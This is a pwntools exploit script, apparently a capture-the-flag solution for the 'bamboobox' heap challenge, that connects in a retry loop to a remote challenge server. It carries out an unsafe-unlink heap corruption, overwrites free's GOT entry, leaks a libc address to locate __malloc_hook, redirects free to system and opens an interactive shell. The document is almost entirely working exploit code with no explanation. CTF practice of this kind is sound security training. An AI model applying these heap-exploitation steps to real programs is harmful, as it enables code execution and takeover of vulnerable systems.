1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
| from pwn import *
#context.log_level = "debug"
libc = ELF('./libc.so.6')
elf = ELF('./bamboobox')
def choice(idx):
r.sendlineafter("Your choice:", str(idx))
def show():
choice(1)
def add(size, content = 'sh'):
choice(2)
r.sendlineafter("Please enter the length of item name:", str(size))
r.sendafter("Please enter the name of item:", content)
def edit(idx, content):
choice(3)
r.sendlineafter("Please enter the index of item:", str(idx))
r.sendlineafter("Please enter the length of item name:", str(len(content)))
r.sendafter("Please enter the new name of the item:", content)
def delete(idx):
choice(4)
r.sendlineafter("Please enter the index of item:", str(idx))
def pwn():
add(0x88) #0
add(0xF8) #1
add(0x18) #2
add(0x18) #3
target = 0x6020C8
magic = 0x400D49
# unlink
FD = target - 0x18
BK = target - 0x10
edit(0, p64(0) + p64(0x81) + p64(FD) + p64(BK) + 'a' * (0x80 - 0x20) + p64(0x80))
delete(1)
#partial overwrite & free@got -> [email protected] & free@got -> system
edit(0, p64(0) * 3 + p64(elf.got['free']) + p64(0) + p64(elf.got['free']) + p64(0) + '\x40\x00')
edit(0, p64(elf.plt['printf'] + 6) + p64(elf.plt['puts'] + 6))
delete(2)
malloc_hook_addr = u64(r.recvuntil('\x7f', timeout=1)[-6:].ljust(8, '\x00')) - 88 - 0x10
if '0x7f' not in hex(malloc_hook_addr):
raise EOFError
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
edit(1, p64(libc.sym['system']) + p64(elf.plt['puts'] + 6))
#getshell
delete(3)
r.interactive()
while True:
try:
#r = process('./bamboobox')
r = remote('node3.buuoj.cn', 26620)
pwn()
except EOFError:
pass
|
